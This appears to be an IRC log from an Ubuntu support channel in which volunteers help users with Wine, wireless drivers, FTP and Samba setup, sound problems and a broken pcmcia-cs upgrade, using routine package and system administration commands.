[02:38] <Titan> err:imagelist:ImageList_ReplaceIcon no color!
[02:38] <Titan> err:imagelist:ImageList_ReplaceIcon no color!
[02:38] <Titan> err:imagelist:ImageList_ReplaceIcon no color!
[02:38] <Titan> Application tries to create a window, but no driver could be loaded.
[02:38] <Titan> Make sure that your X server is running and that $DISPLAY is set correctly.
[02:38] <Titan>  ???
[02:38] <tristanmike> !paste
[02:38] <ubotu> Don't flood the channel! Please use the pastebin at http://paste.ubuntu-nl.org/ or the channel #flood to paste large amount of text.
[02:38] <Unity> ubotu tell Titan about pastebin
[02:38] <rukuartic> htrp: ftp localhost 1222
[02:38] <blarion> #flood
[02:38] <nickrud> Titan: you need to be running a desktop, according to that error
[02:38] <blarion> lol
[02:38] <htrp> rukuartic, what about the username and pass?
[02:38] <rukuartic> htrp: Thats a console thing. Might be better to use a gui AP
[02:38] <Titan> nickrud: but I am :(
[02:38] <marky> _jason it says mplayerplug-in 3.05
[02:38] <rukuartic> htrp: it'll ask you after you enter that command
[02:39] <_jason> marky: for everything?
[02:39] <marky> _jason so yes
[02:39] <marky> nah
[02:39] <nickrud> Titan: and you're typing the command that gives you that error in a terminal window on the desktop?
[02:39] <htrp> im talkin about cmdline @ rukuartic
[02:39] <_jason> marky: does it have any totem stuff in there?
[02:39] <jetpack_> I have been trying to install ubuntu on a pentium 4 laptop.  It keeps failing to install the kernel image, and doesn't leave a log in /target/var/log as it claims I should look at.  Any suggestions?
[02:39] <marky> it has a load,
[02:39] <marky> yup
[02:39] <marky> totem
[02:39] <kernspalt> hmm sudoing it says ignoring unknown interface...
[02:39] <Titan> nickrud: yes I am
[02:39] <_jason> ubotu: tell marky about replacetotem
[02:39] <rukuartic> kernspalt: Hmmm... hold up
[02:39] <nickrud> Titan: what program?
[02:39] <transgress> i was having some problems with nautilus so i moved my .nautilus folder... now gnome won't start... i moved it back, and it still won't start...
[02:40] <marky> totem Mozilla Plugin
[02:40] <Titan> nickrud: World of Warcraft
[02:40] <_jason> marky: issue the command ubotu sent you and restart firefox.  See if it works then
[02:40] <marky> _jason ok
[02:40] <transgress> anyone have a suggestion?
[02:40] <rukuartic> kernspalt: didja type "sudo depmod -a"?
[02:40] <nickrud> Titan: oh. I have never run that, so I get to say, sorry, so sorry :)
[02:41] <kernspalt> think i did...
[02:41] <Titan> nickrud: well thanks anyhow
[02:41] <rukuartic> kernspalt: "sudo modprobe ndiswrapper"?
[02:41] <talisein> avar: I've straced some other processes and it now appears to be held up on mkinitramfs, which is doing nothing
[02:41] <Unity> how can i install something that i just made in a location under my home?
[02:41] <marky> _jason its gone out of the plugin list  , i'll give it a go on www
[02:42] <Unity> pretend i don't have root access so i can't overwrite anything outside my home
[02:42] <kernspalt> yep tryed it one time with the point&click thing and one time with all the commands...
[02:42] <Unity> (using gnu make)
[02:42] <htrp> rukuartic, is there any ftp client out there (GUI) for *nix?
[02:42] <transgress> anyone know why i can't start gnome at all after moving the .nautilus file and then moving it back?
[02:42] <marky> _jason nope  , i can hear it ,but not see it,, it says "no picture"
[02:42] <rukuartic> htrp: XD Yes, there's probably thousands. I just don't know of any. <-- command line user
[02:42] <_jason> marky: link?
[02:42] <htrp> or i think im just gonna install wine and use FXP Flash
[02:42] <htrp> what you think rukuartic ?
[02:43] <marky> _jason http://www.ugoto.com/videos/
[02:43] <rukuartic> kernspalt: try this "sudo modprobe ndiswrapper && tail /var/log/messages
[02:43] <Titan> how do I remove wine if I installed from source?
[02:43] <nickrud> Unity: you can't apt-get into that, but dpkg has -- root and --admindir and --instdir options
[02:43] <brenner> htrp: places>connect to server
[02:43] <brenner> htrp: of gftp
[02:44] <htrp> oh ic
[02:44] <htrp> i didn't even think about that
[02:44] <marky> _jason would the vlc plugin annoy the mplayer plugin
[02:44] <_jason> marky: heh I just saw the teacher get his pants pulled down.  Umm.. put 'ls /usr/lib/mozilla-firefox/plugins/' on http://paste.ubuntu-nl.org/ please
[02:44] <brenner> Titan: try running 'make uninstall' in the dir where the makefile is located.  next time use checkinstall
[02:44] <htrp> Titan, try: sudo apt-get remove wine
[02:44] <marky> _
[02:44] <htrp> oh you said source, nvm
[02:44] <Unity> nickrud: i'm not using apt-get, i'm using gnu make to make mplayer
[02:44] <Titan> brenner: thanks, what does checkinstall do and how do I use it?
[02:44] <kernspalt> looks like there are just errormessages of me pressing keys on the numpad instead of the numbers...
[02:45] <brenner> ubotu: tell Titan about checkinstall
[02:45] <transgress> like the splash screen comes up, but it won't start... and nothing shows
[02:45] <nickrud> Unity: ah, config --prefix=/home/<usr>
[02:45] <brenner> Titan: makes a debfile from src and iinstalls it for you.  makes for easier removal later on
[02:45] <marky> its there
[02:45] <Unity> nickrud: that option is for the configure script?
[02:45] <rukuartic> kernspalt: Drop the tail of your /var/log/messages into pastebin
[02:45] <marky> seee it?
[02:45] <nickrud> Unity: yes, config --help see that
[02:45] <marky> _jason see it?
[02:45] <Titan> brenner: cool, thank you.
[02:45] <Unity> nickrud: because i have already compiled it...now i have to compile again?
[02:46] <kernspalt> can't do... im using irc on a different pc and running between them...
[02:46] <nickrud> Unity: yes, you gotta set up the config correctly first
[02:46] <_jason> marky: yep, for future reference it's easier if you just paste the link here
[02:46] <sorush21> grub is not loading at all any help please.. I don't know if it is installed or not .. I think it is
[02:46] <mikeazorin> i am having very big problem, and it is being caused by pcmcia-cs
[02:46] <marky> what the http://paste.ubuntu-nl.org/10314 ?
[02:46] <_jason> marky: I would remove the vlcplugin
[02:46] <_jason> marky: yeah
[02:46] <mikeazorin> http://pastebin.com/604676
[02:46] <nickrud> Unity: you sucked me in, I avoid config questions because I just told you almost all I know
[02:46] <marky> _jason ok  , sorry jason
[02:47] <marky> _jason i'll give it a go
[02:47] <Unity> nickrud: ok thanks
[02:47] <_jason> marky: if you used apt, I think the package is mozilla-plugin-vlc
[02:47] <mikeazorin> if someone could look at the link i posted and give me a quick tip or something
[02:47] <mikeazorin> http://pastebin.com/604676
[02:47] <nickrud> Unity: ./config --help, that's your baby
[02:48] <Unity> nickrud: it said it wasn't autoconf generated so i think it has a different set of options
[02:48] <Unity> nickrud: it didn't mention anything about insall directory
[02:48] <brenner> sorush21: well do you see grub at boot?
[02:48] <htrp> brenner, do you know where's the config file of pure-ftpd, where you can edit the user, pass, port, etc?
[02:48] <brenner> htrp: never used it. sorry
[02:48] <rukuartic> kernspalt: Oh... ouch.
[02:49] <IdleOne> htrp>  locate prue-ftpd
[02:49] <nickrud> Unity: I depend on decent developers providing standard config & make stuff ; I'm not competent enough to use anything less
[02:49] <marky> _jaon it worked i can see it YIPPIE, right i'm gonna try over network
[02:49] <IdleOne> pure*
[02:49] <mikeazorin> i get a hard crash when i try to dpkg --configure -a, and ubuntu hangs right before the login screen with just an unblinking cursor
[02:49] <rukuartic> kernspalt: Did you make sure you installed the right drivers?
[02:49] <mikeazorin> i need help please
[02:49] <mikeazorin> http://pastebin.com/604676
[02:49] <marky> _jason it worked i can see it YIPPIE, right i'm gonna try over network
[02:49] <htrp> IdleOne, it did nothing
[02:49] <_jason> marky: great
[02:50] <DBO> I am having some issues with my HP 1022.  It seems to treat each page as its own job
[02:50] <IdleOne> htrp>  try man pure-ftpd
[02:50] <kernspalt> well the one written here:http://ndiswrapper.sourceforge.net/mediawiki/index.php/List#L
[02:50] <DBO> has anyone else had this issue?
[02:50] <rukuartic> kernspalt: What piece of hardware are you using?
[02:50] <rukuartic> kernspalt: Well, is it USB or PCI?
[02:50] <kernspalt> a Linksys wmp54G its pci
[02:51] <rukuartic> kernspalt: Thats what I'm using :P
[02:51] <rukuartic> kernspalt: type in "lspci" and give me the ID real quick
[02:51] <warpzone> pardon, has anybody tried the ATI Driver install that was Digg'ed a few weeks ago?
[02:51] <marky> _jason i installed some samba stuff while i was playing about trying to fix this prob  , now i can't browse my network !!!joy lol
[02:51] <IdleOne> !tell warpzone  about ati
[02:52] <OmegaAlpha> warpzone, i use ATI, didnt know about it... what do you mean Digg'ed ?
[02:52] <RageingNonsense> can ubuntu live read ntfs partitions?
[02:52] <_jason> RageingNonsense: yes
[02:52] <RageingNonsense> nice. thank you =)
[02:52] <kernspalt> its a v3
[02:52] <rukuartic> kernspalt: You should be using something like bcmwl5.inf and bcmwl5.sys or something for your drivers
[02:53] <kernspalt> i do...
[02:53] <rukuartic> kernspalt: type ndiswrapper -l, whats it say?
[02:53] <marky> brb gonna restart
[02:53] <Artimus> Does Ubuntu have an update program running in the background by default?  My friend tried to install something and gets an error that looks like dpkg or apt-get is in use (I'll get the exact error message in a second)
[02:53] <rukuartic> kernspalt: does it say bcmlw5  driver present, hardware present?
[02:53] <kernspalt> yes
[02:53] <nickrud> Artimus: yes, it does, you may have tripped over it
[02:53] <fluxt> what is the package name for the kernel source for the current kernel?
[02:54] <nickrud> fluxt: linux-source-2.6.12
[02:54] <kernspalt> oh it says bcmwl5 not bcmlw5 here...
[02:54] <brenner> DBO: https://wiki.ubuntu.com/HardwareSupportComponentsPrinters says it worked fine for someone else.  maybe try the forum
[02:54] <ufo> kernspalt, are you using dapper or breezy
[02:54] <Artimus> nickrud: How badly would it break if I had him kill -9 it?
[02:54] <rukuartic> kernspalt: Wow... I'm totally lost as to whats gettin stuck on. ufo might be able to help though
[02:55] <warpzone> OmegaAplha: here's the link, supposedly a way of getting the latest ATI drivers on Ubuntu. Just wanted to verify that it worked. (http://ubuntuforums.org/showpost.php?p=423584)
[02:55] <kernspalt> think breezy...
[02:55] <kernspalt> its a 5.10 cd
[02:55] <nickrud> Artimus: not badly at all, it's only updating some files, but I'd wait a few, it should take long even on ppp
[02:55] <DBO> brenner, I saw that, it mentioned something about USB1 and USB2, do they mean USB1.0 and USB2.0?
[02:56] <ufo> kernspalt, try this http://ubuntuforums.org/showthread.php?t=25683&pp=10
[02:56] <jadaz87> can anyone help me?
[02:56] <brenner> DBO: yes
[02:56] <Artimus> nickrud: I'm trying to get sshd installed on his box so I can ssh in and fix the things myself.  It's rather miserable trying to do this over MSN, at the moment :P  I'll have him wait
[02:57] <ufo> kernspalt, and use this for the radiostate config sed -e 's/RadioState|1/RadioState|0/' /etc/ndiswrapper/bcmwl5/*.conf
[02:57] <mikeazorin> sOMebody HeLP ME WIth MY ProbL<Em
[02:57] <mikeazorin> http://pastebin.com/604676
[02:57] <jadaz87> i installed a program through add application and it is NOT coming up in the menu where it is supposed to be and when i go to edit menu the item is there though :-\
[02:57] <nickrud> Artimus: good idea, all in all.
[02:57] <DBO> brenner: thank you
[02:57] <fluxt> nickrud, gah.. apparently.. apt-cache dump | grep linux-source ..works better than.. apt-cache search linux-source
[02:57] <kernspalt> ok working through the forum post now... this will take a while..
[02:57] <nickrud> Artimus: you could have him do a sudo netstat -tlp , make sure that some apt process is happening
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[02:57] <tristanmike> jadaz87, "killall gnomepanel"
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[02:58] <rukuartic> !ops
[02:58] <jadaz87> !ops
[02:58] <rukuartic> Oh late on that one
[02:58] <nickrud> Artimus: hm, sudo netstat -tp, not l
[02:58] <Artimus> nickrud: He's got a bunch of things called "adept_updater" running.  I assume that's the update program?
[02:58] <nickrud> Artimus: exactly
[02:58] <fluxt> anyone know of a good movie to watch ;)
[02:59] <marky> _jason  right, i can play vids in firefox now but still not from another machine
[02:59] <nickrud> Artimus: he must be running kde
[02:59] <warpzone> Will using the ubuntu-provided drivers allow me to use the RCA cable dual monitor? Or should I get the ati.com drivers?
[02:59] <Artimus> nickrud: yeah
[02:59] <rukuartic> fluxt: aside from the one mentioned above? >> No thats not a good movie
[02:59] <Unity> anyone know if i can setup my computer to turn off after a certain process finishes?
[02:59] <jadaz87> tristanmike i have done that and it still does not come up
[02:59] <jadaz87> tristanmike what should i do?
[03:00] <tristanmike> jadaz87, it has a checkmark ? what program ?
[03:00] <jadaz87> yes
[03:00] <warpzone> nevermind, looks like its ati.com
[03:00] <jadaz87> tristanmike i know the is going to sound stupid because i am on linux but aegis antivirus
[03:00] <jadaz87> tristanmike hahaha lol
[03:01] <htrp> anyway, what's a good ftp server that's easy to config?
[03:01] <tristanmike> jadaz87, hmmm....does it have a gui ?
[03:01] <IdleOne> htrp>  gftp
[03:01] <jadaz87> yes it does
[03:01] <jadaz87> tristanmike it is checkmarked under edit menus
[03:01] <tristanmike> jadaz87, and you logged out and logged back in ?
[03:01] <jadaz87> tristanmike i rebooted the computer lol
[03:02] <tristanmike> jadaz87, what category is it in ?
[03:02] <V4Vendetta> i can't find a good terminal icon -_-
[03:02] <jadaz87> tristanmike accesories
[03:02] <tristanmike> jadaz87, very odd indeed
[03:02] <jadaz87> tristanmike yes i know :-\
[03:03] <tristanmike> jadaz87, did you try to uncheck it, close the Menu Editor, open it, put the checkmark back in and close it...?
[03:03] <jadaz87> tristanmike i will try that now
[03:04] <htrp> when you uninstall something using 'apt-get remove' command, what other things you need to remove if you really want to remove it completely?
[03:04] <IdleOne> htrp>  sudo apt-get --purge remove package
[03:04] <jadaz87> tristanmike no it still does not work
[03:04] <htrp> IdleOne, what does that do?
[03:04] <mikeazorin> this package wanted to be installed when i changed my sources.list from breezy to dapper
[03:04] <mikeazorin> pcmcia-cs
[03:05] <nickrud> htrp: remove leaves files in /etc ; purge removes those as well
[03:05] <mikeazorin> but it crashes my computer when it tries to install
[03:05] <mikeazorin> http://pastebin.com/604676
[03:05] <IdleOne> htrp>  it will remove all config files of that package
[03:05] <imc_> Evening. Will XGL run on ATI card?
[03:05] <mikeazorin> can somebody, a kind soul, please help me with my predicament?
[03:05] <htrp> ic
[03:05] <mikeazorin> imc_: yes go away
[03:05] <mikeazorin> someone pplease help me
[03:05] <warpzone> pardon, is there a way to tell what version of Xfree86 I'm using?
[03:05] <mikeazorin> give me one word of advice
[03:05] <mikeazorin> http://pastebin.com/604676
[03:06] <mikeazorin> i don't know what to do
[03:06] <Teratogen> what's the difference betweein pool/main and pool/universe at archive.ubuntu.com ?
[03:06] <IdleOne> mikeazorin>  not a very helpfull attitude considering you are asking for help yourself :P
[03:06] <htrp> ok, im on synaptic, what's the diff between removal and complete removal?
[03:06] <mikeazorin> ubuntu never gets to logon screen
[03:06] <warpzone> i think it's required to install the driver, suprised it can't determine automatically
[03:06] <imc_> mikeazorinb, go stick your head in a bowl somewhere, okay?
[03:06] <mikeazorin> sorry?
[03:06] <NeverDream> warpzone, ubuntu uses x.org :p
[03:06] <mikeazorin> oops
[03:06] <IdleOne> mikeazorin> see what I mean
[03:06] <mikeazorin> aww, i feel  bad
[03:07] <IdleOne> mikeazorin>  live and learn :)
[03:07] <mikeazorin> especially cause i can't figure out what the heck my problem is
[03:07] <pww> mikeazorin When you changed sources, did you do apt-get dist-upgrade or just upgrade?
[03:07] <warpzone> NeverDream: o, didn't realize there was a difference. Learn something new every moment :-P
[03:07] <NeverDream> ;)
[03:07] <ali_> is there any way to connect like in putty from ubuntu workstation
[03:07] <mikeazorin> i did apt-get upgrade first which failed when it got to pcmcia-cs
[03:07] <ali_> is there any way to connect to the remote server from bash like in putty from ubuntu workstation
[03:07] <brenner> Teratogen: http://www.ubuntulinux.org/ubuntu/components
[03:07] <_jason> ali_: ssh username@host
[03:08] <mikeazorin> i then tried dist-upgrade which installed some packages but then crashed trying pcmcia-cs again
[03:08] <ali_> thanks _jason
[03:08] <mikeazorin> i have a desktop, no pcmcia slot
[03:08] <mikeazorin> http://pastebin.com/604676
[03:08] <htrp> ok, im on synaptic, what's the diff between removal and complete removal?
[03:09] <mikeazorin> it looks like the install script is asking something with the wrong syntax
[03:09] <ufo> htrp, complete removes the conf files too
[03:09] <Zhadow> anybody familiar with wine(the program, not the drink :P ) ?
[03:09] <mustard5> htrp, complete removal takes out config files too
[03:09] <htrp> ic
[03:10] <brenner> Teratogen: the main difference is universe has no guarantee of security fixes and support
[03:10] <marky> any ideas how i can get mplayer to auto play file on a xp machine? i just come up with the last thing that was played in it
[03:10] <marky> it*
[03:11] <babo> Hi guys, how do I create a shared folder for WORKGROUP on my ubuntu, using only the cmd line ?
[03:11] <pww> mikeazorin desktop Vs laptop machine shouldn't matter, desktops can have PC slot...
[03:11] <boz> !wine
[03:11] <marky> _jason i just removed totem to see if it would help but now i have nothing that will play it
[03:11] <Zhadow> !wine
[03:11] <htrp> !info wine
[03:11] <ubotu> wine: (Microsoft Windows Compatibility Layer (Binary Emulator and Library)), section universe/otherosfs, is optional. Version: 0.0.20050725-0ubuntu1.1 (breezy), Packaged size: 14130 kB, Installed size: 55488 kB
[03:11] <_jason> babo: do you understand linux permissions?
[03:11] <tristanmike> jadaz87, I can't really find anything....
[03:11] <_jason> marky: try totem-xine
[03:12] <orangey> hey all!
[03:12] <jadaz87> tristanmike oh ok
[03:12] <babo> _jason: yeah, I reckon so
[03:12] <orangey> Ubuntu has detected my sound card twice: Once it loads up the OSS drivers; once the Alsa drivers..
[03:12] <Zhadow> guys, im using wine....but when i type wine setup.exe     nothing happens...no error, no nothing
[03:12] <tristanmike> jadaz87, I don't understand why it's not showing up
[03:12] <orangey> this does not do good things..
[03:12] <marky> _jason xmms won't play the mp3 on the same place, i can copy and paste it to my hd then it works :S
[03:12] <orangey> How can I make Ubuntu redetect my sound card?
[03:12] <jadaz87> tristanmike i do not know either
[03:12] <pww> mikeazorin ...the only other thing I can think to try is synaptic fix broken packages (under edit menu)...
[03:13] <mikeazorin> i can't get into gnome synaptic
[03:13] <_jason> babo: just mkdir foo, then chgrp WORKGROUP foo, then make sure the right group permissions are set
[03:13] <pww> mikeazorin ...but make sure sources list is A-OK.
[03:13] <jadaz87> tristanmike i am going to deselect it on the edit menu and then uninstall then reinstall
[03:13] <rukuartic> Anyone know why I can't get sound to work for Flash? It works fine for Mp3's and movies and system events, but it doesn't want to work for flash. maybe its just certain flash...
[03:13] <tristanmike> jadaz87, does it have an image ?
[03:13] <boz> Zhadow: try wine config
[03:13] <mikeazorin> my source list crashed too, i'll see if i can bring it back up
[03:13] <babo> _jason: cool thanks
[03:13] <jadaz87> tristanmike yes it does the aegis AV icon
[03:14] <tristanmike> jadaz87, strange...
[03:14] <nickrud> rukuartic: !restricted has some help with the oddities of flash & sound
[03:14] <marky> did someone say earlier that mplayer doesn't like samba?
[03:14] <mikeazorin> pww: i still have the old one
[03:14] <marky> i'm sure it worked before my hd died, i had to install ubuntu from fresh
[03:15] <bosco> the bet dig room is diggnation
[03:15] <marky> _jason have you quit?
[03:15] <Teratogen> brenner thanks
[03:15] <_jason> marky: you've been asking for a while, maybe you should try the forums and/or mailing list?
[03:15] <pww> mikeazorin I went through some tribulations with my sources.list, the one I tried to send is rock solid for Dapper
[03:16] <Teratogen> universe is HUGE
[03:16] <_Jsm||Site_Done> so wats been going since i did my site?
[03:16] <mikeazorin> okay, didn't know
[03:16] <orangey> Hmmm.
[03:16] <mikeazorin> send again, pww
[03:16] <orangey> How can I configure my sound card in ubuntu?
[03:16] <Zhadow> boz, thanx, i think i am getting it now
[03:16] <orangey> i.e., what is being called to decide what drivers for my sound cards are needed?
[03:16] <IdleOne> !tell orangey  about sound
[03:16] <marky> its just rotting my brain, i can't believe it won't play a file on my network
[03:17] <ant> Hi - I'm attempting nfs between ubuntu boxes and getting "Connection refused".  Google turns up stuff for Warty!  Anyone help?
[03:17] <IdleOne> !tell ant about nfs
[03:17] <nalioth> ubotu: tell ant about nfs
[03:17] <_Jsm||Site_Done> !tell me about sound
[03:17] <bosco> the bet dig room is diggnation
[03:17] <boz> Zhadow: np i had the same trouble after you do the wine config, you should be able to just double click on the win program you wanna run
[03:18] <nalioth> bosco: may we help you with something?
[03:18] <Zhadow> boz, ok great!  that helps too, thanx!
[03:18] <marky> anyone else play files in ubuntu from a windows box? like mp3s and wmvs?
[03:19] <boz> thatnks for helping break my new years resolution to not type anything with WIN in it ; P
[03:19] <Zhadow> HAHAHA
[03:19] <Zhadow> and only 3 months into the year...shame!
[03:19] <boz> lol
[03:19] <rukuartic> ubotu, nosoundflash is fixed by installing alsa-oss and running firefox with "aoss firefox"
[03:19] <ubotu> okay, rukuartic
[03:20] <_Jsm||Site_Done> damn
[03:20] <ssstormy> is there a keyboard command to switch subpanes in Gaim?
[03:20] <dg2_bluesky> Hello everyone, I just ran the live cd, and my mouse is a big fuzzy square, how do I correct this
[03:20] <techrush> heh
[03:20] <kernspalt> thx ufo it finally worked!!! after 3 hours of trying :)
[03:20] <marky> _jason should i just reinstall it?
[03:20] <_jason> marky: totem?
[03:20] <marky> _jason the whole of ubuntu
[03:20] <V4Vendetta>  #html
[03:20] <_jason> marky: I wouldn't
[03:20] <nickrud> !flashsound
[03:20] <ubotu> parse error: Try searching at http://ubuntu.cc.com.au/, nickrud
[03:21] <ufo> kernspalt, np
[03:21] <kernspalt> thx to rukuartic, too of course
[03:21] <IdleOne> !nosoundflash
[03:21] <bimberi> _Jsm||Site_Done: /msg chanserv list #*html*
[03:21] <ubotu> nosoundflash is, like, fixed by installing alsa-oss and running firefox with "aoss firefox"
[03:21] <marky> _jason i not cleaver enuff to find the answers i need  , in linux its all called something different, i'm useless
[03:22] <_jason> marky: you should try posting on the forums and mailing the mailing list before a reinstall imo
[03:22] <mikeazorin> okay, i just "apt-get update". every single line of it i get "Temporary failure resolving 'security.ubuntu.com'" or whatever the link is for each of them. why is this happening??
[03:22] <marky> _jason i think i'll reinstall ubuntu then only get mplayer not all loads of syuff
[03:22] <_Jsm||Site_Done> damn no reply :( any one want to offer their non ubuntu help to me?
[03:22] <nalioth> mikeazorin: your machine isnt resolving the address
[03:22] <nickrud> rukuartic: you might want to edit that to say 'usually fixed' , I've seen thtat apparently not help in some situations
[03:22] <boz> dg2_bluesky shave it
[03:22] <_jason> marky: installing stuff from apt should not bork your system
[03:22] <p01n7> Hi from the XChat Python interface
[03:23] <mikeazorin> nalioth: is my dhcp dead??? i have no idea how this could happen.
[03:23] <p01n7> anyone see that &&?
[03:23] <marky> _jason i've only been using the synaptic package manager
[03:23] <marky> _jason whats bork
[03:23] <nalioth> mikeazorin: idk, you'll need to test
[03:23] <dg2_bluesky> is there any way to fix this video issue
[03:23] <nalioth> marky: bork = screw up
[03:23] <marky> i'd be pulling my hair out if i had any
[03:24] <marky> gonna reinstall ubuntu :(
[03:24] <fluxt> lol well that was an interesting movie
[03:24] <pww> marky: totem-xine used to play WMVs for me, but no longer. Sorry,but I don't know why.
[03:24] <_Jsm||Site_Done> can any one help me with my non ubuntu problem?
[03:24] <rukuartic> nickrud: Gyar... I'm no good at using the cool commandline edit tool to fix that
[03:24] <Xenguy> marky: b0rk = bork = borken = broken
[03:24] <nickrud> marky: reinstallling is not a necessary failure; just remember for the next time :)
[03:24] <IdleOne> _Jsm||Site_Done>  join #ubuntu-offtopic and ask in there someone may be able to help
[03:24] <ant> Re nfs "Connection refused" issue - is there a better channel I should be pestering?  (I'm new so pls mention network too)  TIA
[03:25] <marky> i'm gonna go for it... wish me luck  , i'll be back hopefully in a few hours
[03:25] <_jason> pww: what happens when you try?
[03:25] <dg2_bluesky> can anyone help me
[03:25] <_jason> marky: good luck
[03:25] <dg2_bluesky> I have a square for a mouse on the live cd
[03:25] <IdleOne> dg2_bluesky>  whats up?
[03:25] <marky> thanks you guys for all your time and help, it is appreciated, thanks for being patient with me :D
[03:25] <marky> see you soon  ,2 hours i imagine
[03:25] <marky> ;)
[03:25] <dg2_bluesky> ldleone im new to ubuntu, I have the live cd loaded but my mouse has an issue
[03:25] <mikeazorin> WHHHHHHHHHHHHY
[03:26] <nickrud> marky: see you soon
[03:26] <brenner> dg2_bluesky: video issues are usually resolved by reconfigging stuff....you can't exactly do that with the live cd
[03:26] <jadaz87> tristanmike hot damn it still will not come up
[03:26] <nalioth> ant: ubotu sent you some information in a private message. did you receive it?
[03:26] <mikeazorin> my entire ubuntu has broken
[03:26] <mikeazorin> i put so much time into it
[03:26] <techrush> so twice today ubuntu 5.10 has came to a near standstill and i cant figure out why, top and system monitor both showed low cpu usage and lots of free memory
[03:26] <mikeazorin> is there a way i can put the 5.10 cd in, and just have it repair everything??
[03:26] <nickrud> mikeazorin: broken how?
[03:27] <pww> _jason: Complains about bad codecs (Win #9 IIRC). Cannot remember for sure, been a while since trying.
[03:27] <NeverDream> someone got your root password out of your installation logs :o
[03:27] <_jason> pww: you have w32codecs?
[03:27] <NeverDream> jus' kiddin' :p
[03:27] <dg2_bluesky> but will i be able to fix this issue if I install it
[03:27] <nickrud> NeverDream: you suck big things ;}
[03:28] <pww> _jason: Yes, I installed them sometime ago (Flight3ish?). At some point, I just moved on, it became a less interesting problem for me
[03:28] <fatejudger> I'm using fgrlx, but windows still seem to paint somewhat slowly
[03:28] <regeya_> o_O
[03:28] <htrp> when you add a user and want you delete it, how do you delete it completely?
[03:28] <tristanmike> jadaz87, right click it and select properties, and see if everything looks right there...(grasping at straws)
[03:28] <htrp> including his/her files, etc
[03:28] <fatejudger> can anyone think of anything I'm forgetting?
[03:28] <Xenguy> htrp: man deluser
[03:28] <sixtymhz> man.. wtf is with gmail
[03:28] <IdleOne> htrp>  system users&groups
[03:29] <nickrud> htrp: sudo deluser <usr> ; sudo rm /home/usr/ -rf (be careful)
[03:29] <IdleOne> then delete the user
[03:29] <mikeazorin> nickrud: it won't get to the login screen and i don't know why. i go to recovery mode, and run apt-get upgrade to fix things, but dpkg is jammed with something called "pcmcia-cs" that crashes the computer TERRIBLY whenever it tries to install. i try to do apt-get update to see if my sources are wrong, but it can't resolve any of the addresses, meaning my network drivers aren't loaded, or something's the matter with dhcp. all i did was 
[03:29] <ant> nalioth, I didn't realise (said I was new - doh), have seen now, thanks.
[03:29] <concept10> just installed samba, when I attempt to start the daemon, it fails with this error: /etc/init.d/samba: line 24: 12754 Aborted   Any suggestions?
[03:29] <nalioth> mikeazorin: remove pcmcia-cs
[03:30] <nickrud> mikeazorin: sudo aptitude remove pcmcia-cs
[03:30] <jadaz87> tristanmike Name: Virus Scanner; Comment: scan your computer for viruses; Command: aegis-virus-scanner; Icon: aegis logo; Run in Terminal checkbox is deselected
[03:30] <AngryElf> is the reason amarok is so unstable possibly related to the fact that i'm not using KDE?
[03:30] <concept10> !samba
[03:30] <ubotu> I guess samba is https://wiki.ubuntu.com/SettingUpSamba or https://wiki.ubuntu.com/MountWindowsSharesPermanently
[03:30] <mikeazorin> nalioth + nickrud: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem.
[03:30] <_jason> AngryElf: why is it unstable?
[03:31] <AngryElf> _jason, takes a while to change songs, hangs occasionally, sometimes doesn't close completely
[03:31] <nickrud> mikeazorin: and, if you do that, what happens?
[03:31] <nalioth> mikeazorin: sudo dpkg -r pcmcia-cs
[03:31] <nalioth> nickrud: it hangs on pcmcia-cs
[03:31] <nickrud> mikeazorin: see nalioth, should help
[03:32] <mikeazorin> now i am in a predicament. i can't use internet now, so i can't update ubuntu.
[03:32] <Unity> random weird question: is it possible to use mice at the same time?
[03:32] <nickrud> mikeazorin: is your internet connection on pcmcia?
[03:32] <Unity> random weird question: is it possible to use TWO mice at the same time?
[03:32] <nalioth> Unity: yes it is
[03:32] <mikeazorin> it
[03:33] <mikeazorin> nickrud: i think it's on the motherboard
[03:33] <pww> mikeazorin: Feel like downloading DapperFlight5 install CD? 1/2 :->
[03:33] <orangey> IdleOne: I've read through all that sound debugging stuff, but I've basically been trhough it already.. My key problem: SOMETHING is loading up via82cxxx AND snd_via82xx - i.e., the card is being detected twice for whatever reason. What process does that?
[03:33] <nickrud> Unity: just add another stanza to xorg.conf
[03:33] <Unity> nalioth: and they both have their own cursor?
[03:33] <nalioth> Unity: nope, one cursor is drawn between them
[03:33] <mikeazorin> if i download dapperflight5 and install it, will everything be okay?
[03:33] <nalioth> mikeazorin: you don't install it
[03:33] <Unity> oh that's not what i want =(
[03:33] <mikeazorin> i just livecd it?
[03:33] <brenner> dg2_bluesky: no guarantees, but there will be things you can do if it happens with the installed version. have you tried searching the forum?
[03:34] <nalioth> mikeazorin: join us in #ubuntu-offtopic please
[03:34] <Unity> nalioth: same applies to keyboards, right? just plug another one and register it into xorg.conf?
[03:34] <nalioth> Unity: shouldn't have to do anything, just plug it in
[03:34] <frank23> orangey: via82cxxx is for ide not sound
[03:35] <Raul654> Question - I just finished installing Ubuntu 5.10. It didn't come with gcc, so I did an apt-get install gcc (along with all the necessary components)
[03:35] <Raul654> it is telling me that libc is installed, but as far as I can tell that's not true
[03:35] <nickrud> mikeazorin: during the learning curve, most everyone has reinstalled at least once. If they say not, they were just a lot more experienced :)
[03:35] <IdleOne> Raul654>  sudo apt-get install build-essential
[03:35] <Raul654> none of the header files are there, and it keeps complaining that things like exit and printf are implicetely defined
[03:36] <Raul654> idleone - it says it already has that
[03:36] <Raul654> 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded
[03:36] <IdleOne> Raul654>  beats me sorry :/
[03:36] <Slavick> ubuntu doesnt detect my network card - cant go online after installation.. and im noob :( i've RTFM but still cant really figure wut to do
[03:37] <mikeazorin> BLOODY HELL! i just did apt-get -f dist-upgrade and now i'm jammed on pcmcia-cs again
[03:37] <mikeazorin> save me, somebody
[03:37] <ant> nalioth, you'll be pleased to know I scored 3 replies before sussing ubotu.  Well it is getting late here (02:37)
[03:37] <Raul654> I wrote a simple C program consisting of one statement - printf("Hi\n"); -- and when I compile it tells me -->  warning: incompatible implicit declaration of built-in function printf
[03:37] <Raul654> which means that stdio.h isn't there
[03:37] <IdleOne> Slavick>  System > Administrtion > networking and make sure eth0 is active
[03:37] <Slavick> any1?
[03:37] <Slavick> ok
[03:37] <nickrud> mikeazorin: nalioth thinks he can do it for you, join him in #ubuntu-offtopic
[03:38] <Slavick> what if it isnt
[03:38] <tritium> Raul654: did you include stdio.h?
[03:38] <concept10> Alright, I have started my samba server but cant see my ubuntu box on the windows network., any suggestions?
[03:38] <IdleOne> Slavick>  then activate it :)
[03:38] <Slavick> ;)
